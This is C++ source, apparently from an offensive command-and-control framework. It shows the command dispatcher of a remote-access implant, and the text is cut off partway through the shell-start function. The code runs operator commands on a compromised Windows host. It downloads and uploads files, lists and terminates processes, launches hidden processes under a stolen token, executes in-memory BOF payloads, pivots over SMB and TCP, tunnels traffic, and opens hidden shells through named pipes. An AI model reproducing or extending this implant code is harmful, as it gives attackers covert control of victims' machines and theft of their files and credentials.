2026-04-06 00:20:51 -05:00

1210 lines
34 KiB
C++

#include "Commander.h"
#include "bof_loader.h"
#include "Boffer.h"
extern HANDLE g_StoredToken;
void* Commander::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void Commander::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(Commander));
}
Commander::Commander(Agent* a)
{
this->agent = a;
}
void Commander::ProcessCommandTasks(BYTE* recv, ULONG recvSize, Packer* outPacker)
{
if (recvSize < 8)
return;
Packer* inPacker = new Packer(recv, recvSize);
ULONG packerSize = inPacker->Unpack32();
if (packerSize > recvSize - 4) {
delete inPacker;
return;
}
while ( inPacker->datasize() < packerSize + 4 )
{
ULONG CommandId = inPacker->Unpack32();
switch ( CommandId )
{
case COMMAND_CAT:
this->CmdCat(CommandId, inPacker, outPacker); break;
case COMMAND_CD:
this->CmdCd(CommandId, inPacker, outPacker); break;
case COMMAND_CP:
this->CmdCp(CommandId, inPacker, outPacker); break;
case COMMAND_DISKS:
this->CmdDisks(CommandId, inPacker, outPacker); break;
case COMMAND_DOWNLOAD:
this->CmdDownload(CommandId, inPacker, outPacker); break;
case COMMAND_DOWNLOAD_STATE:
this->CmdDownloadState(CommandId, inPacker, outPacker); break;
case COMMAND_EXEC_BOF:
this->CmdExecBof(CommandId, inPacker, outPacker); break;
case COMMAND_GETUID:
this->CmdGetUid(CommandId, inPacker, outPacker); break;
case COMMAND_JOBS_LIST:
this->CmdJobsList(CommandId, inPacker, outPacker); break;
case COMMAND_JOBS_KILL:
this->CmdJobsKill(CommandId, inPacker, outPacker); break;
case COMMAND_LINK:
this->CmdLink(CommandId, inPacker, outPacker); break;
case COMMAND_LS:
this->CmdLs(CommandId, inPacker, outPacker); break;
case COMMAND_MV:
this->CmdMv(CommandId, inPacker, outPacker); break;
case COMMAND_MKDIR:
this->CmdMkdir(CommandId, inPacker, outPacker); break;
case COMMAND_PIVOT_EXEC:
this->CmdPivotExec(CommandId, inPacker, outPacker); break;
case COMMAND_PROFILE:
this->CmdProfile(CommandId, inPacker, outPacker); break;
case COMMAND_PS_LIST:
this->CmdPsList(CommandId, inPacker, outPacker); break;
case COMMAND_PS_KILL:
this->CmdPsKill(CommandId, inPacker, outPacker); break;
case COMMAND_PS_RUN:
this->CmdPsRun(CommandId, inPacker, outPacker); break;
case COMMAND_PWD:
this->CmdPwd(CommandId, inPacker, outPacker); break;
case COMMAND_REV2SELF:
this->CmdRev2Self(CommandId, inPacker, outPacker); break;
case COMMAND_RM:
this->CmdRm(CommandId, inPacker, outPacker); break;
case COMMAND_SHELL_START:
this->CmdShellStart(CommandId, inPacker, outPacker); break;
case COMMAND_SHELL_WRITE:
this->CmdShellWrite(CommandId, inPacker, outPacker); break;
case COMMAND_TERMINATE:
this->CmdTerminate(CommandId, inPacker, outPacker); break;
case COMMAND_TUNNEL_START_TCP:
this->CmdTunnelMsgConnectTCP(CommandId, inPacker, outPacker); break;
case COMMAND_TUNNEL_START_UDP:
this->CmdTunnelMsgConnectUDP(CommandId, inPacker, outPacker); break;
case COMMAND_TUNNEL_WRITE_TCP:
this->CmdTunnelMsgWriteTCP(CommandId, inPacker, outPacker); break;
case COMMAND_TUNNEL_WRITE_UDP:
this->CmdTunnelMsgWriteUDP(CommandId, inPacker, outPacker); break;
case COMMAND_TUNNEL_PAUSE:
this->CmdTunnelMsgPause(CommandId, inPacker, outPacker); break;
case COMMAND_TUNNEL_RESUME:
this->CmdTunnelMsgResume(CommandId, inPacker, outPacker); break;
case COMMAND_TUNNEL_CLOSE:
this->CmdTunnelMsgClose(CommandId, inPacker, outPacker); break;
case COMMAND_TUNNEL_REVERSE:
this->CmdTunnelMsgReverse(CommandId, inPacker, outPacker); break;
case COMMAND_UNLINK:
this->CmdUnlink(CommandId, inPacker, outPacker); break;
case COMMAND_UPLOAD:
this->CmdUpload(CommandId, inPacker, outPacker); break;
case COMMAND_SAVEMEMORY:
this->CmdSaveMemory(CommandId, inPacker, outPacker); break;
default: break;
}
}
if (inPacker)
delete inPacker;
}
void Commander::CmdCat(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG pathSize = 0;
CHAR* path = (CHAR*)inPacker->UnpackBytes(&pathSize);
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
HANDLE hFile = ApiWin->CreateFileA(path, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
if ( !hFile || hFile == INVALID_HANDLE_VALUE ) {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
return;
}
DWORD contentSize = 2048;
DWORD readed = 0;
PVOID content = MemAllocLocal(contentSize);
BOOL result = ApiWin->ReadFile(hFile, content, contentSize, &readed, NULL);
if (result) {
outPacker->Pack32(commandId);
outPacker->PackBytes((PBYTE)path, pathSize);
outPacker->PackBytes((PBYTE)content, readed);
}
else {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
}
if (hFile) {
ApiNt->NtClose(hFile);
hFile = NULL;
}
if (content)
MemFreeLocal(&content, contentSize);
}
void Commander::CmdCd(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG pathSize = 0;
CHAR* path = (CHAR*) inPacker->UnpackBytes(&pathSize);
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
BOOL result = ApiWin->SetCurrentDirectoryA(path);
if (result) {
CHAR currentPath[MAX_PATH] = { 0 };
ULONG currentPathSize = ApiWin->GetCurrentDirectoryA(MAX_PATH, currentPath);
outPacker->Pack32(commandId);
outPacker->PackBytes((PBYTE)currentPath, currentPathSize);
}
else {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
}
}
void Commander::CmdCp(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG srcSize = 0;
CHAR* src = (CHAR*) inPacker->UnpackBytes(&srcSize);
ULONG dstSize = 0;
CHAR* dst = (CHAR*) inPacker->UnpackBytes(&dstSize);
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
BOOL result = ApiWin->CopyFileA(src, dst, FALSE);
if (result) {
outPacker->Pack32(commandId);
}
else {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
}
}
void Commander::CmdDisks(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
outPacker->Pack32(commandId);
ULONG drives = ApiWin->GetLogicalDrives();
if (drives == 0) {
outPacker->Pack8(FALSE);
outPacker->Pack32(TEB->LastErrorValue);
}
else {
outPacker->Pack8(TRUE);
ULONG count = 0;
ULONG indexCount = outPacker->datasize();
outPacker->Pack32(0);
for (char drive = 'A'; drive <= 'Z'; ++drive) {
if (drives & (1 << (drive - 'A'))) {
char drivePath[] = { drive, ':', '\\', '\0' };
ULONG driveType = ApiWin->GetDriveTypeA(drivePath);
outPacker->Pack8(drive);
outPacker->Pack32(driveType);
count++;
}
}
outPacker->Set32(indexCount, count);
}
}
void Commander::CmdDownload(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG filenameSize = 0;
CHAR* filename = (CHAR*) inPacker->UnpackBytes(&filenameSize);
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
HANDLE hFile = ApiWin->CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (!hFile || hFile == INVALID_HANDLE_VALUE) {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
}
else {
CHAR fullPath[MAX_PATH];
DWORD pathSize = ApiWin->GetFullPathNameA( filename, MAX_PATH, fullPath, NULL);
DWORD fileSizeHigh = 0;
DWORD fileSizeLow = ApiWin->GetFileSize( hFile, &fileSizeHigh );
ULONG64 fileSize = ((ULONG64)fileSizeHigh << 32) | fileSizeLow;
if (pathSize > 0) {
DownloadData downloadData = this->agent->downloader->CreateDownloadData(taskId, hFile, fileSize);
outPacker->Pack32(COMMAND_DOWNLOAD);
outPacker->Pack32(downloadData.fileId);
outPacker->Pack8(DOWNLOAD_START);
outPacker->Pack64(downloadData.fileSize);
outPacker->PackBytes((PBYTE)fullPath, pathSize);
}
else {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
}
}
}
void Commander::CmdDownloadState(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG newState = inPacker->Unpack32();
ULONG fileId = inPacker->Unpack32();
ULONG taskId = inPacker->Unpack32();
BOOL found = false;
for (int i = 0; i < this->agent->downloader->downloads.size(); i++) {
if (this->agent->downloader->downloads[i].fileId == fileId) {
this->agent->downloader->downloads[i].state = newState;
found = true;
break;
}
}
outPacker->Pack32(taskId);
if (found) {
outPacker->Pack32(COMMAND_DOWNLOAD_STATE);
outPacker->Pack32(fileId);
outPacker->Pack8((BYTE)newState);
}
else {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(2);
}
}
void Commander::CmdExecBof(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
BOOL async = inPacker->Unpack8();
ULONG entrySize = 0;
BYTE* entry = inPacker->UnpackBytes(&entrySize);
ULONG bofSize = 0;
BYTE* bof = inPacker->UnpackBytes(&bofSize);
ULONG argsSize = 0;
BYTE* args = inPacker->UnpackBytes(&argsSize);
ULONG taskId = inPacker->Unpack32();
if (!g_AsyncBofManager) {
outPacker->Pack32(taskId);
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(ERROR_NOT_SUPPORTED);
return;
}
if (async) {
AsyncBofContext* ctx = g_AsyncBofManager->CreateAsyncBof(taskId, (CHAR*)entry, bof, bofSize, args, argsSize);
if (!ctx) {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(ERROR_NOT_ENOUGH_MEMORY);
return;
}
if (!g_AsyncBofManager->StartAsyncBof(ctx)) {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
return;
}
}
else {
Packer* bofPacker = ObjectExecute(taskId, (CHAR*)entry, bof, bofSize, args, argsSize);
if (bofPacker && bofPacker->datasize() > 0)
outPacker->PackFlatBytes(bofPacker->data(), bofPacker->datasize());
outPacker->Pack32(taskId);
outPacker->Pack32(commandId);
outPacker->Pack8(FALSE);
if (bofPacker)
bofPacker->Clear(TRUE);
}
}
void Commander::CmdGetUid(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
BOOL result = FALSE;
BOOL elevated = FALSE;
CHAR* username = (CHAR*) MemAllocLocal(512);
ULONG usernameSize = 512;
CHAR* domain = (CHAR*) MemAllocLocal(512);
ULONG domainSize = 512;
HANDLE TokenHandle = TokenCurrentHandle();
if (TokenHandle)
result = TokenToUser(TokenHandle, username, &usernameSize, domain, &domainSize, &elevated);
if (result) {
outPacker->Pack32(commandId);
outPacker->Pack8(elevated);
outPacker->PackStringA(domain);
outPacker->PackStringA(username);
}
else {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
}
if (TokenHandle)
ApiNt->NtClose(TokenHandle);
MemFreeLocal( (LPVOID*)&username, 512);
MemFreeLocal( (LPVOID*)&domain, 512);
}
void Commander::CmdJobsList(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
outPacker->Pack32(commandId);
ULONG count = agent->jober->jobs.size();
ULONG asyncBofCount = 0;
if (g_AsyncBofManager)
ApiWin->EnterCriticalSection(&g_AsyncBofManager->managerLock);
if (g_AsyncBofManager)
asyncBofCount = g_AsyncBofManager->asyncBofs.size();
outPacker->Pack32(count + asyncBofCount);
for (int i = 0; i < count; i++) {
ULONG jobId = agent->jober->jobs[i].jobId;
WORD jobType = agent->jober->jobs[i].jobType;
WORD pid = agent->jober->jobs[i].pidObject;
outPacker->Pack32(jobId);
outPacker->Pack16(jobType);
outPacker->Pack16(pid);
}
if (g_AsyncBofManager) {
for (size_t i = 0; i < asyncBofCount; i++) {
AsyncBofContext* ctx = g_AsyncBofManager->asyncBofs[i];
outPacker->Pack32(ctx->taskId);
outPacker->Pack16(JOB_TYPE_ASYNCBOF);
outPacker->Pack16(0);
}
ApiWin->LeaveCriticalSection(&g_AsyncBofManager->managerLock);
}
}
void Commander::CmdJobsKill(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG jobId = inPacker->Unpack32();
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
outPacker->Pack32(commandId);
BOOL found = FALSE;
ULONG count = agent->jober->jobs.size();
for (int i = 0; i < count; i++) {
if (jobId == agent->jober->jobs[i].jobId) {
agent->jober->jobs[i].jobState = JOB_STATE_KILLED;
found = TRUE;
break;
}
}
if (!found && g_AsyncBofManager)
found = g_AsyncBofManager->StopAsyncBof(jobId);
outPacker->Pack8(found);
outPacker->Pack32(jobId);
}
void Commander::CmdLink(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG pivotType = inPacker->Unpack32();
if (pivotType == PIVOT_TYPE_SMB) {
ULONG pipeSize = 0;
CHAR* pipe = (CHAR*)inPacker->UnpackBytes(&pipeSize);
ULONG taskId = inPacker->Unpack32();
this->agent->pivotter->LinkPivotSMB(taskId, commandId, pipe, outPacker);
}
else if (pivotType == PIVOT_TYPE_TCP) {
ULONG addrSize = 0;
CHAR* addr = (CHAR*)inPacker->UnpackBytes(&addrSize);
WORD port = inPacker->Unpack32();
ULONG taskId = inPacker->Unpack32();
this->agent->pivotter->LinkPivotTCP(taskId, commandId, addr, port, outPacker);
}
}
void Commander::CmdLs(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG pathSize = 0;
CHAR* path = (CHAR*)inPacker->UnpackBytes(&pathSize);
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
outPacker->Pack32(commandId);
CHAR fullpath[MAX_PATH];
DWORD fullpathSize = MAX_PATH;
if (pathSize == 3 && path[1] == ':') {
fullpath[0] = path[0];
fullpath[1] = path[1];
fullpathSize = 2;
}
else {
fullpathSize = ApiWin->GetFullPathNameA(path, MAX_PATH, fullpath, NULL);
if (fullpathSize + 2 > MAX_PATH || fullpathSize == 0) {
outPacker->Pack8(FALSE);
outPacker->Pack32(TEB->LastErrorValue);
return;
}
}
DWORD fileAttribs = ApiWin->GetFileAttributesA(fullpath);
BOOL isFile = (fileAttribs != INVALID_FILE_ATTRIBUTES) && !(fileAttribs & FILE_ATTRIBUTE_DIRECTORY);
if (!isFile) {
fullpath[fullpathSize] = '\\';
fullpath[++fullpathSize] = '*';
fullpath[++fullpathSize] = 0;
}
WIN32_FIND_DATAA findData = { 0 };
HANDLE File = ApiWin->FindFirstFileA(fullpath, &findData);
if ( File != INVALID_HANDLE_VALUE ) {
outPacker->Pack8(TRUE);
outPacker->PackStringA(fullpath);
ULONG count = 0;
ULONG indexCount = outPacker->datasize();
outPacker->Pack32(0);
do {
BOOL isDir = (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY;
if( isDir && StrLenA(findData.cFileName) == 1 && findData.cFileName[0] == 0x2e )
continue;
if (isDir && StrLenA(findData.cFileName) == 2 && findData.cFileName[0] == 0x2e && findData.cFileName[1] == 0x2e)
continue;
ULONG64 size = 0;
((ULONG*)&size)[1] = findData.nFileSizeHigh;
((ULONG*)&size)[0] = findData.nFileSizeLow;
ULONG writeDate = FileTimeToUnixTimestamp(findData.ftLastWriteTime);
outPacker->Pack8(isDir);
outPacker->Pack64(size);
outPacker->Pack32(writeDate);
outPacker->PackStringA(findData.cFileName);
count++;
} while (!isFile && ApiWin->FindNextFileA(File, &findData));
ApiWin->FindClose(File);
outPacker->Set32(indexCount, count);
}
else {
outPacker->Pack8(FALSE);
outPacker->Pack32(TEB->LastErrorValue);
}
}
void Commander::CmdMkdir(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG pathSize = 0;
CHAR* path = (CHAR*)inPacker->UnpackBytes(&pathSize);
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
BOOL result = ApiWin->CreateDirectoryA(path, NULL);
if (result) {
outPacker->Pack32(commandId);
outPacker->PackBytes((PBYTE)path, pathSize);
}
else {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
}
}
void Commander::CmdMv(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG srcSize = 0;
CHAR* src = (CHAR*)inPacker->UnpackBytes(&srcSize);
ULONG dstSize = 0;
CHAR* dst = (CHAR*)inPacker->UnpackBytes(&dstSize);
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
BOOL result = ApiWin->MoveFileA(src, dst);
if (result) {
outPacker->Pack32(commandId);
}
else {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
}
}
void Commander::CmdPivotExec(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG pivotId = inPacker->Unpack32();
ULONG dataSize = 0;
BYTE* data = inPacker->UnpackBytes(&dataSize);
ULONG taskId = inPacker->Unpack32();
this->agent->pivotter->WritePivot(pivotId, data, dataSize);
}
void Commander::CmdProfile(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG subcommand = inPacker->Unpack32();
if (subcommand == 1) { // sleep time
ULONG sleep = inPacker->Unpack32();
ULONG jitter = inPacker->Unpack32();
ULONG taskId = inPacker->Unpack32();
agent->config->sleep_delay = sleep;
agent->config->jitter_delay = jitter;
outPacker->Pack32(taskId);
outPacker->Pack32(COMMAND_PROFILE);
outPacker->Pack32(subcommand);
outPacker->Pack32(agent->config->sleep_delay);
outPacker->Pack32(agent->config->jitter_delay);
}
else if (subcommand == 2) { // download chunks size
ULONG size = inPacker->Unpack32();
ULONG taskId = inPacker->Unpack32();
agent->downloader->chunkSize = size;
outPacker->Pack32(taskId);
outPacker->Pack32(COMMAND_PROFILE);
outPacker->Pack32(subcommand);
outPacker->Pack32(agent->downloader->chunkSize);
}
else if (subcommand == 3) { // killdate
ULONG kill_date = inPacker->Unpack32();
ULONG taskId = inPacker->Unpack32();
agent->config->kill_date = kill_date;
outPacker->Pack32(taskId);
outPacker->Pack32(COMMAND_PROFILE);
outPacker->Pack32(subcommand);
outPacker->Pack32(agent->config->kill_date);
}
else if (subcommand == 4) { // workingsize
ULONG workingtime = inPacker->Unpack32();
ULONG taskId = inPacker->Unpack32();
agent->config->working_time = workingtime;
outPacker->Pack32(taskId);
outPacker->Pack32(COMMAND_PROFILE);
outPacker->Pack32(subcommand);
outPacker->Pack32(agent->config->working_time);
}
#if defined(BEACON_DNS)
else if (subcommand == 5) { // burst set
ULONG burstEnabled = inPacker->Unpack32();
ULONG burstSleep = inPacker->Unpack32();
ULONG burstJitter = inPacker->Unpack32();
ULONG taskId = inPacker->Unpack32();
agent->config->profile.burst_enabled = burstEnabled;
agent->config->profile.burst_sleep = burstSleep;
agent->config->profile.burst_jitter = burstJitter;
outPacker->Pack32(taskId);
outPacker->Pack32(COMMAND_PROFILE);
outPacker->Pack32(subcommand);
outPacker->Pack32(agent->config->profile.burst_enabled);
outPacker->Pack32(agent->config->profile.burst_sleep);
outPacker->Pack32(agent->config->profile.burst_jitter);
}
else if (subcommand == 6) { // burst show
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
outPacker->Pack32(COMMAND_PROFILE);
outPacker->Pack32(subcommand);
outPacker->Pack32(agent->config->profile.burst_enabled);
outPacker->Pack32(agent->config->profile.burst_sleep);
outPacker->Pack32(agent->config->profile.burst_jitter);
}
#endif
}
void Commander::CmdPsList(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
outPacker->Pack32(commandId);
PSYSTEM_PROCESS_INFORMATION spi = NULL, spiAddr = NULL;
ULONG spiSize = 0;
NTSTATUS NtStatus = ApiNt->NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &spiSize);
if (!NT_SUCCESS(NtStatus)) {
spiSize += 0x1000;
spi = (PSYSTEM_PROCESS_INFORMATION) MemAllocLocal(spiSize);
if (spi)
NtStatus = ApiNt->NtQuerySystemInformation(SystemProcessInformation, spi, spiSize, &spiSize);
}
spiAddr = spi;
if (NT_SUCCESS(NtStatus)) {
outPacker->Pack8(TRUE);
ULONG count = 0;
ULONG indexCount = outPacker->datasize();
outPacker->Pack32(0);
DWORD accessMask = 0;
if (agent->info->major_version == 5 && agent->info->minor_version == 1)
accessMask = PROCESS_QUERY_INFORMATION;
else
accessMask = PROCESS_QUERY_LIMITED_INFORMATION;
do {
BOOL elevated = FALSE;
BYTE arch64 = 10;
CHAR processName[260] = { 0 };
ULONG usernameSize = MAX_PATH;
CHAR username[MAX_PATH] = { 0 };
ULONG domainSize = MAX_PATH;
CHAR domain[MAX_PATH] = { 0 };
OBJECT_ATTRIBUTES ObjectAttr = { sizeof(OBJECT_ATTRIBUTES) };
InitializeObjectAttributes(&ObjectAttr, NULL, 0, NULL, NULL);
BOOL result = FALSE;
HANDLE hToken = NULL;
HANDLE hProcess = NULL;
CLIENT_ID clientId = { spi->UniqueProcessId, 0 };
NtStatus = ApiNt->NtOpenProcess(&hProcess, accessMask, &ObjectAttr, &clientId);
if (NT_SUCCESS(NtStatus)) {
ULONG_PTR piWow64 = NULL;
NtStatus = ApiNt->NtQueryInformationProcess(hProcess, ProcessWow64Information, &piWow64, sizeof(ULONG_PTR), NULL);
if (NT_SUCCESS(NtStatus))
arch64 = (piWow64 == 0);
NtStatus = ApiNt->NtOpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
if (NT_SUCCESS(NtStatus))
result = TokenToUser(hToken, username, &usernameSize, domain, &domainSize, &elevated);
}
if (spi->ImageName.Buffer) {
ConvertUnicodeStringToChar(spi->ImageName.Buffer, spi->ImageName.Length, processName, sizeof(processName));
outPacker->Pack16((WORD)(ULONG_PTR)spi->UniqueProcessId);
outPacker->Pack16((WORD)(ULONG_PTR)spi->InheritedFromUniqueProcessId);
outPacker->Pack16((WORD)spi->SessionId);
outPacker->Pack8(arch64);
outPacker->Pack8(elevated);
outPacker->PackStringA(domain);
outPacker->PackStringA(username);
outPacker->PackStringA(processName);
count++;
memset(processName, 0, spi->ImageName.Length / 2);
memset(username, 0, usernameSize);
memset(domain, 0, domainSize);
}
if (hProcess) {
ApiNt->NtClose(hProcess);
hProcess = NULL;
}
if (hToken) {
ApiNt->NtClose(hToken);
hToken = NULL;
}
if (!spi->NextEntryOffset)
break;
spi = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)spi + spi->NextEntryOffset);
} while (TRUE);
if (spiAddr)
MemFreeLocal((LPVOID*)&spiAddr, spiSize);
outPacker->Set32(indexCount, count);
}
else {
outPacker->Pack8(TRUE);
outPacker->Pack32(87);
}
}
void Commander::CmdRev2Self(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
outPacker->Pack32(commandId);
ApiWin->RevertToSelf();
}
void Commander::CmdPsKill(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG64 pid = inPacker->Unpack32();
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
OBJECT_ATTRIBUTES ObjectAttr = { sizeof(OBJECT_ATTRIBUTES) };
InitializeObjectAttributes(&ObjectAttr, NULL, 0, NULL, NULL);
CLIENT_ID clientID = { (HANDLE)pid, 0 };
HANDLE hProcess = NULL;
NTSTATUS status = ApiNt->NtOpenProcess(&hProcess, PROCESS_TERMINATE, &ObjectAttr, &clientID);
if ( NT_SUCCESS(status) ) {
outPacker->Pack32(commandId);
ApiNt->NtTerminateProcess(hProcess, 0);
outPacker->Pack32(pid);
}
else {
ULONG error = ApiNt->RtlNtStatusToDosError(status);
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(error);
}
if (hProcess) {
ApiNt->NtClose(hProcess);
hProcess = NULL;
}
}
void Commander::CmdPsRun(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
BOOL progOutput = inPacker->Unpack8();
BOOL useToken = inPacker->Unpack8();
BOOL progState = inPacker->Unpack32();
ULONG progArgsSize = 0;
CHAR* progArgs = (CHAR*)inPacker->UnpackBytes(&progArgsSize);
ULONG taskId = inPacker->Unpack32();
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOA spi = { 0 };
spi.cb = sizeof(STARTUPINFOA);
spi.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
spi.wShowWindow = SW_HIDE;
HANDLE pipeRead = NULL;
HANDLE pipeWrite = NULL;
if (progOutput) {
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
ApiWin->CreatePipe(&pipeRead, &pipeWrite, &sa, 0);
spi.hStdError = pipeWrite;
spi.hStdOutput = pipeWrite;
spi.hStdInput = NULL;
}
BOOL result = FALSE;
if (useToken && g_StoredToken) {
result = ApiWin->CreateProcessAsUserA(g_StoredToken, NULL, progArgs, NULL, NULL, TRUE, progState | CREATE_NO_WINDOW, NULL, NULL, &spi, &pi);
if (!result && ApiWin->CreateProcessWithTokenW) {
STARTUPINFOW spiW = { 0 };
spiW.cb = sizeof(STARTUPINFOW);
spiW.dwFlags = spi.dwFlags;
spiW.wShowWindow = spi.wShowWindow;
spiW.hStdError = spi.hStdError;
spiW.hStdOutput = spi.hStdOutput;
spiW.hStdInput = spi.hStdInput;
int wLen = ApiWin->MultiByteToWideChar(CP_ACP, 0, progArgs, -1, NULL, 0);
if (wLen > 0) {
WCHAR* wArgs = (WCHAR*)MemAllocLocal(wLen * sizeof(WCHAR));
if (wArgs) {
ApiWin->MultiByteToWideChar(CP_ACP, 0, progArgs, -1, wArgs, wLen);
result = ApiWin->CreateProcessWithTokenW(g_StoredToken, LOGON_WITH_PROFILE, NULL, wArgs, progState | CREATE_NO_WINDOW, NULL, NULL, &spiW, &pi);
MemFreeLocal((LPVOID*)&wArgs, wLen * sizeof(WCHAR));
}
}
}
}
else
result = ApiWin->CreateProcessA(NULL, progArgs, NULL, NULL, TRUE, progState | CREATE_NO_WINDOW, NULL, NULL, &spi, &pi);
if (result) {
JobData job = agent->jober->CreateJobData(taskId, JOB_TYPE_PROCESS, JOB_STATE_RUNNING, pi.hProcess, pi.dwProcessId, pipeRead, pipeWrite);
outPacker->Pack32(taskId);
outPacker->Pack32(commandId);
outPacker->Pack32(job.pidObject);
outPacker->Pack8(progOutput);
outPacker->PackBytes((PBYTE)progArgs, progArgsSize);
ApiNt->NtClose(pi.hThread);
pi.hThread = NULL;
if (!progOutput) {
ApiNt->NtClose(pi.hProcess);
pi.hProcess = NULL;
}
}
else {
if (pipeRead) {
ApiNt->NtClose(pipeRead);
pipeRead = NULL;
}
if (pipeWrite) {
ApiNt->NtClose(pipeWrite);
pipeWrite = NULL;
}
outPacker->Pack32(taskId);
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
}
}
void Commander::CmdPwd(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
CHAR path[MAX_PATH] = { 0 };
ULONG pathSize = ApiWin->GetCurrentDirectoryA(MAX_PATH, path);
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
if (pathSize) {
outPacker->Pack32(commandId);
outPacker->PackBytes((PBYTE)path, pathSize);
}
else {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
}
}
void Commander::CmdRm(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG pathSize = 0;
CHAR* path = (CHAR*)inPacker->UnpackBytes(&pathSize);
ULONG taskId = inPacker->Unpack32();
outPacker->Pack32(taskId);
DWORD dwAttrib = ApiWin->GetFileAttributesA(path);
BOOL result = FALSE;
BOOL directory = (dwAttrib != INVALID_FILE_ATTRIBUTES && (dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
if ( directory )
result = ApiWin->RemoveDirectoryA(path);
else
result = ApiWin->DeleteFileA(path);
if (result) {
outPacker->Pack32(commandId);
outPacker->Pack8(directory);
}
else {
outPacker->Pack32(COMMAND_ERROR);
outPacker->Pack32(TEB->LastErrorValue);
}
}
void Commander::CmdShellStart(ULONG commandId, Packer* inPacker, Packer* outPacker)
{
ULONG shellId = inPacker->Unpack32();
ULONG progArgsSize = 0;
CHAR* progArgs = (CHAR*)inPacker->UnpackBytes(&progArgsSize);
ULONG taskId = inPacker->Unpack32();
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOA spi = { 0 };
spi.cb = sizeof(STARTUPINFOA);
spi.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
spi.wShowWindow = SW_HIDE;
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
ULONG r1 = GenerateRandom32();
CHAR* pipeName = (CHAR*) MemAllocLocal(18);
ApiWin->snprintf(pipeName, 18, "\\\\.\\pipe\\%08lx", r1);
HANDLE beaconOutPipe = ApiWin->CreateNamedPipeA(pipeName, PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1, 0x4000, 0x4000, 0, &sa);
HANDLE shellOutPipe = ApiWin->CreateFileA(pipeName, FILE_WRITE_DATA | SYNCHRONIZE, 0, &sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);
r1 = GenerateRandom32();
ApiWin->snprintf(pipeName, 18, "\\\\.\\pipe\\%08lx", r1);
